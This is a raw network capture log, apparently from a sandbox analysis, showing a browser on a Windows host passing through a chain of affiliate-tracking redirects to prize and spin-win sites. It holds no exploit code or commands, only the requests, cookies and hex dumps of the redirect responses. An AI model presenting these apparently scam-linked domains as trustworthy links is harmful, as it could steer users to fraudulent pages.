2025-01-08 14:45:27 UTC	1002	OUT	GET /cmp/223GDT1/3LHNZD/?source_id=20259&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272 HTTP/1.1 Host: www.clicknloader.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://duennasustentation.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uniqueClick_2G76N4GF=f60317f2-b96a-4162-aaef-048da2bba126:1736347468; transaction_id=31fbe95d61fe4658bc9c042cd7dcea71
2025-01-08 14:45:28 UTC	1355	IN	HTTP/1.1 302 Found Date: Wed, 08 Jan 2025 14:45:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close accept-ch: Sec-Ch-Ua-Platform-Version,Sec-Ch-Ua-Model location: https://grizzlyprize.is/tracking/276/10/?subAff=1168&sub1=20259&sub2=3b7057e5c5a04afda410a207a8e334fc set-cookie: uniqueClick_3LHNZD=da60ef1a-7351-4083-aec4-8358317cac47:1736347528; Path=/; Expires=Thu, 09 Jan 2025 14:45:28 GMT; Secure; SameSite=None set-cookie: transaction_id=31fbe95d61fe4658bc9c042cd7dcea71\|3b7057e5c5a04afda410a207a8e334fc; Path=/; Expires=Tue, 08 Apr 2025 14:45:28 GMT; Secure; SameSite=None vary: Origin x-eflow-request-id: 53fb9033-7204-4069-a11a-15c8055c0bd9 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=64nkr%2Fs2zyMUKsQO21BuNsjwYgu4JFutw0kSsljSxbgthCYkVleR7vV6%2F3bW0NtXfwxIRMuRdrvj99s0KwDsi%2BtkI00L2ij9XHirxU9LVrwbUrmAgT8yisJX65JNWTRUSe4Io4mWFQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf8aeaf35ef9d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1987&min_rtt=1986&rtt_var=748&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1602&delivery_rate=1460000&cwnd=146&unsent_bytes=0&cid=2ad2890952de6c02&ts=841&x=0"
2025-01-08 14:45:28 UTC	14	IN	Data Raw: 38 34 0d 0a 3c 61 20 68 72 65 66 3d 22 68 Data Ascii: 84<a href="h
2025-01-08 14:45:28 UTC	124	IN	Data Raw: 74 74 70 73 3a 2f 2f 67 72 69 7a 7a 6c 79 70 72 69 7a 65 2e 69 73 2f 74 72 61 63 6b 69 6e 67 2f 32 37 36 2f 31 30 2f 3f 73 75 62 41 66 66 3d 31 31 36 38 26 61 6d 70 3b 73 75 62 31 3d 32 30 32 35 39 26 61 6d 70 3b 73 75 62 32 3d 33 62 37 30 35 37 65 35 63 35 61 30 34 61 66 64 61 34 31 30 61 32 30 37 61 38 65 33 33 34 66 63 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: ttps://grizzlyprize.is/tracking/276/10/?subAff=1168&sub1=20259&sub2=3b7057e5c5a04afda410a207a8e334fc">Found</a>.
2025-01-08 14:45:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.16	49835	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:29 UTC	786	OUT	GET /tracking/276/10/?subAff=1168&sub1=20259&sub2=3b7057e5c5a04afda410a207a8e334fc HTTP/1.1 Host: grizzlyprize.is Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://duennasustentation.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:45:29 UTC	1297	IN	HTTP/1.1 302 Found Date: Wed, 08 Jan 2025 14:45:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close location: https://www.biggestspinwins.com/abc/daily/?affid=10&c1=1168&c2=20259&c3=3b7057e5c5a04afda410a207a8e334fc&c4=&c5=dwltdrill&click_id=7c67edb9c18f447d8300c820019ccaeb x-powered-by: Express access-control-allow-methods: GET, POST, PUT, DELETE access-control-allow-headers: Content-Type, Authorization access-control-allow-credentials: true x-ratelimit-limit: 100 x-ratelimit-remaining: 99 x-ratelimit-reset: NaN Set-Cookie: click_id=7c67edb9c18f447d8300c820019ccaeb; Max-Age=300; Path=/; Expires=Wed, 08 Jan 2025 14:50:29 GMT; Secure; SameSite=None Set-Cookie: transaction_click_id=677e8f899574236ee3b6a4af; Max-Age=300; Path=/; Expires=Wed, 08 Jan 2025 14:50:29 GMT; Secure; SameSite=None vary: Accept cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jzy%2B3Azpoeg83e%2FIaLePADYmEyhXc%2FR0tGpm1P6HixPARLceW5ei2Smt0TytMYBWq4M0FAtK5WboGycia1cAtfjcmWzg%2BufOECJS3yL4AKIF9Gd785U5ImJnKbmkqpV1jG0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf8b9f9324252-EWR alt-svc: h3=":443"; ma=86400
2025-01-08 14:45:29 UTC	216	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 37 34 34 26 6d 69 6e 5f 72 74 74 3d 31 37 33 31 26 72 74 74 5f 76 61 72 3d 36 37 35 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 37 26 72 65 63 76 5f 62 79 74 65 73 3d 31 33 36 34 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 35 39 31 32 38 30 26 63 77 6e 64 3d 32 33 35 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 65 64 30 37 39 39 38 32 30 61 37 35 34 35 34 26 74 73 3d 38 30 33 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1744&min_rtt=1731&rtt_var=675&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=1364&delivery_rate=1591280&cwnd=235&unsent_bytes=0&cid=0ed0799820a75454&ts=803&x=0"
2025-01-08 14:45:29 UTC	222	IN	Data Raw: 64 38 0d 0a 3c 70 3e 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 67 67 65 73 74 73 70 69 6e 77 69 6e 73 2e 63 6f 6d 2f 61 62 63 2f 64 61 69 6c 79 2f 3f 61 66 66 69 64 3d 31 30 26 61 6d 70 3b 63 31 3d 31 31 36 38 26 61 6d 70 3b 63 32 3d 32 30 32 35 39 26 61 6d 70 3b 63 33 3d 33 62 37 30 35 37 65 35 63 35 61 30 34 61 66 64 61 34 31 30 61 32 30 37 61 38 65 33 33 34 66 63 26 61 6d 70 3b 63 34 3d 26 61 6d 70 3b 63 35 3d 64 77 6c 74 64 72 69 6c 6c 26 61 6d 70 3b 63 6c 69 63 6b 5f 69 64 3d 37 63 36 37 65 64 62 39 63 31 38 66 34 34 37 64 38 33 30 30 63 38 32 30 30 31 39 63 63 61 65 62 3c 2f 70 3e 0d 0a Data Ascii: d8<p>Found. Redirecting to https://www.biggestspinwins.com/abc/daily/?affid=10&c1=1168&c2=20259&c3=3b7057e5c5a04afda410a207a8e334fc&c4=&c5=dwltdrill&click_id=7c67edb9c18f447d8300c820019ccaeb</p>
2025-01-08 14:45:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.16	49832	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:30 UTC	1103	OUT	GET /cmp/223GDT1/3LHNZD/?source_id=20259&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272 HTTP/1.1 Host: www.clicknloader.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://duennasustentation.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uniqueClick_2G76N4GF=f60317f2-b96a-4162-aaef-048da2bba126:1736347468; uniqueClick_3LHNZD=da60ef1a-7351-4083-aec4-8358317cac47:1736347528; transaction_id=31fbe95d61fe4658bc9c042cd7dcea71\|3b7057e5c5a04afda410a207a8e334fc
2025-01-08 14:45:31 UTC	1247	IN	HTTP/1.1 302 Found Date: Wed, 08 Jan 2025 14:45:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close accept-ch: Sec-Ch-Ua-Platform-Version,Sec-Ch-Ua-Model location: https://as6asdas54k.com/tracking/271/10/?subAff=1168&sub1=20259&sub2=614ced2708834ecea465b27492f3acf5 set-cookie: transaction_id=31fbe95d61fe4658bc9c042cd7dcea71\|3b7057e5c5a04afda410a207a8e334fc\|614ced2708834ecea465b27492f3acf5; Path=/; Expires=Tue, 08 Apr 2025 14:45:31 GMT; Secure; SameSite=None vary: Origin x-eflow-request-id: 8e4dc032-4004-444e-9c82-f2c3f194acd3 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q%2FAIajIitt03qnuafTOUq5YfGXZ49ozvIHfTY4yHS8PcEF3%2FBXxIyjVV7swBiErEVmpIk2pMQN7SZGNQtU2%2FXcUUbJXj%2BlMH%2FFmw3Py9%2FmRz5vfNCgecLHW3%2FY6BJF4R1TU7exQHEQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf8c45a4032d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2007&min_rtt=1996&rtt_var=771&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1681&delivery_rate=1398467&cwnd=169&unsent_bytes=0&cid=31d02826fae915c8&ts=4295&x=0"
2025-01-08 14:45:31 UTC	122	IN	Data Raw: 38 34 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 73 36 61 73 64 61 73 35 34 6b 2e 63 6f 6d 2f 74 72 61 63 6b 69 6e 67 2f 32 37 31 2f 31 30 2f 3f 73 75 62 41 66 66 3d 31 31 36 38 26 61 6d 70 3b 73 75 62 31 3d 32 30 32 35 39 26 61 6d 70 3b 73 75 62 32 3d 36 31 34 63 65 64 32 37 30 38 38 33 34 65 63 65 61 34 36 35 62 32 37 34 39 32 66 33 61 63 66 35 Data Ascii: 84<a href="https://as6asdas54k.com/tracking/271/10/?subAff=1168&sub1=20259&sub2=614ced2708834ecea465b27492f3acf5
2025-01-08 14:45:31 UTC	16	IN	Data Raw: 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: ">Found</a>.
2025-01-08 14:45:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.16	49841	172.67.174.48	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:32 UTC	786	OUT	GET /tracking/271/10/?subAff=1168&sub1=20259&sub2=614ced2708834ecea465b27492f3acf5 HTTP/1.1 Host: as6asdas54k.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://duennasustentation.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:45:33 UTC	1292	IN	HTTP/1.1 302 Found Date: Wed, 08 Jan 2025 14:45:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close location: https://www.hypecataloguehub.com/t/7/z/?affid=10&c1=1168&c2=20259&c3=614ced2708834ecea465b27492f3acf5&c4=&c5=dwltdrill&click_id=542fb03cac6b436e9ab8913ce7140432 x-powered-by: Express access-control-allow-methods: GET, POST, PUT, DELETE access-control-allow-headers: Content-Type, Authorization access-control-allow-credentials: true x-ratelimit-limit: 100 x-ratelimit-remaining: 99 x-ratelimit-reset: NaN Set-Cookie: click_id=542fb03cac6b436e9ab8913ce7140432; Max-Age=300; Path=/; Expires=Wed, 08 Jan 2025 14:50:33 GMT; Secure; SameSite=None Set-Cookie: transaction_click_id=677e8f8d72adee454d024b19; Max-Age=300; Path=/; Expires=Wed, 08 Jan 2025 14:50:33 GMT; Secure; SameSite=None vary: Accept cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LZqWB%2Ft28Dfx8PHyOgMrCAJiV7uVo8gcrbno95MM9mW7k9xzsCON4hDF5pIGdicEvBrAOvFeVoVnfuuuYTXIUSdzeHZZAtg%2Bl2YquPnkuHEq%2B7Fi0XRTzlsxdty1xnAsW2o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf8cf6f4541b4-EWR alt-svc: h3=":443"; ma=86400
2025-01-08 14:45:33 UTC	216	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 35 37 35 26 6d 69 6e 5f 72 74 74 3d 31 35 37 30 26 72 74 74 5f 76 61 72 3d 36 30 30 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 36 26 72 65 63 76 5f 62 79 74 65 73 3d 31 33 36 34 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 38 30 38 30 34 39 26 63 77 6e 64 3d 31 39 39 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 61 30 63 30 33 30 62 32 66 34 66 37 31 37 38 61 26 74 73 3d 38 31 31 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1575&min_rtt=1570&rtt_var=600&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1364&delivery_rate=1808049&cwnd=199&unsent_bytes=0&cid=a0c030b2f4f7178a&ts=811&x=0"
2025-01-08 14:45:33 UTC	219	IN	Data Raw: 64 35 0d 0a 3c 70 3e 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 68 79 70 65 63 61 74 61 6c 6f 67 75 65 68 75 62 2e 63 6f 6d 2f 74 2f 37 2f 7a 2f 3f 61 66 66 69 64 3d 31 30 26 61 6d 70 3b 63 31 3d 31 31 36 38 26 61 6d 70 3b 63 32 3d 32 30 32 35 39 26 61 6d 70 3b 63 33 3d 36 31 34 63 65 64 32 37 30 38 38 33 34 65 63 65 61 34 36 35 62 32 37 34 39 32 66 33 61 63 66 35 26 61 6d 70 3b 63 34 3d 26 61 6d 70 3b 63 35 3d 64 77 6c 74 64 72 69 6c 6c 26 61 6d 70 3b 63 6c 69 63 6b 5f 69 64 3d 35 34 32 66 62 30 33 63 61 63 36 62 34 33 36 65 39 61 62 38 39 31 33 63 65 37 31 34 30 34 33 32 3c 2f 70 3e 0d 0a Data Ascii: d5<p>Found. Redirecting to https://www.hypecataloguehub.com/t/7/z/?affid=10&c1=1168&c2=20259&c3=614ced2708834ecea465b27492f3acf5&c4=&c5=dwltdrill&click_id=542fb03cac6b436e9ab8913ce7140432</p>
2025-01-08 14:45:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.16	49843	172.67.185.221	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:34 UTC	845	OUT	GET /t/7/z/?affid=10&c1=1168&c2=20259&c3=614ced2708834ecea465b27492f3acf5&c4=&c5=dwltdrill&click_id=542fb03cac6b436e9ab8913ce7140432 HTTP/1.1 Host: www.hypecataloguehub.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://duennasustentation.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.16	49839	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:34 UTC	1136	OUT	GET /cmp/223GDT1/3LHNZD/?source_id=20259&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272 HTTP/1.1 Host: www.clicknloader.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://duennasustentation.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uniqueClick_2G76N4GF=f60317f2-b96a-4162-aaef-048da2bba126:1736347468; uniqueClick_3LHNZD=da60ef1a-7351-4083-aec4-8358317cac47:1736347528; transaction_id=31fbe95d61fe4658bc9c042cd7dcea71\|3b7057e5c5a04afda410a207a8e334fc\|614ced2708834ecea465b27492f3acf5
2025-01-08 14:45:35 UTC	1274	IN	HTTP/1.1 302 Found Date: Wed, 08 Jan 2025 14:45:35 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close accept-ch: Sec-Ch-Ua-Platform-Version,Sec-Ch-Ua-Model location: https://as6asdas54k.com/tracking/271/10/?subAff=1168&sub1=20259&sub2=e74551e5a4b843d1ad97991e1e3d8dd9 set-cookie: transaction_id=31fbe95d61fe4658bc9c042cd7dcea71\|3b7057e5c5a04afda410a207a8e334fc\|614ced2708834ecea465b27492f3acf5\|e74551e5a4b843d1ad97991e1e3d8dd9; Path=/; Expires=Tue, 08 Apr 2025 14:45:35 GMT; Secure; SameSite=None vary: Origin x-eflow-request-id: a6180d59-fd55-43fe-8669-f575ee2935d4 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AQMEsbvQJCrP2cd1IdFdAs9v50YQ%2BLjyjDv2zHX%2FxYk3vvYNjpvronHsaLbwIsqw%2B%2FD355Le901S19EJe3qGPRe47xoc10zSm5gFJKkDqyI465qykGhpSsHvAnDg2hYlE1PwR5D3Xg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf8dacc9a5e67-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1587&min_rtt=1575&rtt_var=616&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1714&delivery_rate=1741204&cwnd=244&unsent_bytes=0&cid=ebdf88f36c4dcf61&ts=3449&x=0"
2025-01-08 14:45:35 UTC	95	IN	Data Raw: 38 34 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 73 36 61 73 64 61 73 35 34 6b 2e 63 6f 6d 2f 74 72 61 63 6b 69 6e 67 2f 32 37 31 2f 31 30 2f 3f 73 75 62 41 66 66 3d 31 31 36 38 26 61 6d 70 3b 73 75 62 31 3d 32 30 32 35 39 26 61 6d 70 3b 73 75 62 32 3d 65 37 34 35 35 Data Ascii: 84<a href="https://as6asdas54k.com/tracking/271/10/?subAff=1168&sub1=20259&sub2=e7455
2025-01-08 14:45:35 UTC	43	IN	Data Raw: 31 65 35 61 34 62 38 34 33 64 31 61 64 39 37 39 39 31 65 31 65 33 64 38 64 64 39 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 1e5a4b843d1ad97991e1e3d8dd9">Found</a>.
2025-01-08 14:45:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.16	49847	172.67.174.48	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:36 UTC	884	OUT	GET /tracking/271/10/?subAff=1168&sub1=20259&sub2=e74551e5a4b843d1ad97991e1e3d8dd9 HTTP/1.1 Host: as6asdas54k.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://duennasustentation.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: click_id=542fb03cac6b436e9ab8913ce7140432; transaction_click_id=677e8f8d72adee454d024b19

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.16	49845	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:36 UTC	1169	OUT	GET /cmp/223GDT1/3LHNZD/?source_id=20259&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272 HTTP/1.1 Host: www.clicknloader.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://duennasustentation.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uniqueClick_2G76N4GF=f60317f2-b96a-4162-aaef-048da2bba126:1736347468; uniqueClick_3LHNZD=da60ef1a-7351-4083-aec4-8358317cac47:1736347528; transaction_id=31fbe95d61fe4658bc9c042cd7dcea71\|3b7057e5c5a04afda410a207a8e334fc\|614ced2708834ecea465b27492f3acf5\|e74551e5a4b843d1ad97991e1e3d8dd9
2025-01-08 14:45:37 UTC	1314	IN	HTTP/1.1 302 Found Date: Wed, 08 Jan 2025 14:45:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close accept-ch: Sec-Ch-Ua-Platform-Version,Sec-Ch-Ua-Model location: https://www.nrj1hs34m.com/FNX4R/31X75W/?sub1=1168&sub2=20259&sub3=6f473a6e83ea434a9eb5d559373bb682&sub5= set-cookie: transaction_id=31fbe95d61fe4658bc9c042cd7dcea71\|3b7057e5c5a04afda410a207a8e334fc\|614ced2708834ecea465b27492f3acf5\|e74551e5a4b843d1ad97991e1e3d8dd9\|6f473a6e83ea434a9eb5d559373bb682; Path=/; Expires=Tue, 08 Apr 2025 14:45:37 GMT; Secure; SameSite=None vary: Origin x-eflow-request-id: d468d432-6511-4fd2-a44b-3ac0abcffaf0 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=utAR1pdE8Pm3opj1eFN1PgR0T%2B6ZGBqTVcMgJcxRdOnGZqqCYeQErXWUvq6z25p8vrwKUVaW%2FWxFtBZ9GELFHtnGtA2NXA%2Fc%2BMXSyQPYf%2FpRZQB%2FR2ptpyU2kp1hTpKyedWRQJfBTw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf8e78a9b7d18-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2013&min_rtt=2007&rtt_var=765&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1747&delivery_rate=1418853&cwnd=222&unsent_bytes=0&cid=e38fd7c4111dbc87&ts=1912&x=0"
2025-01-08 14:45:37 UTC	55	IN	Data Raw: 38 62 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 72 6a 31 68 73 33 34 6d 2e 63 6f 6d 2f 46 4e 58 34 52 2f 33 31 58 37 35 57 2f 3f 73 75 Data Ascii: 8b<a href="https://www.nrj1hs34m.com/FNX4R/31X75W/?su
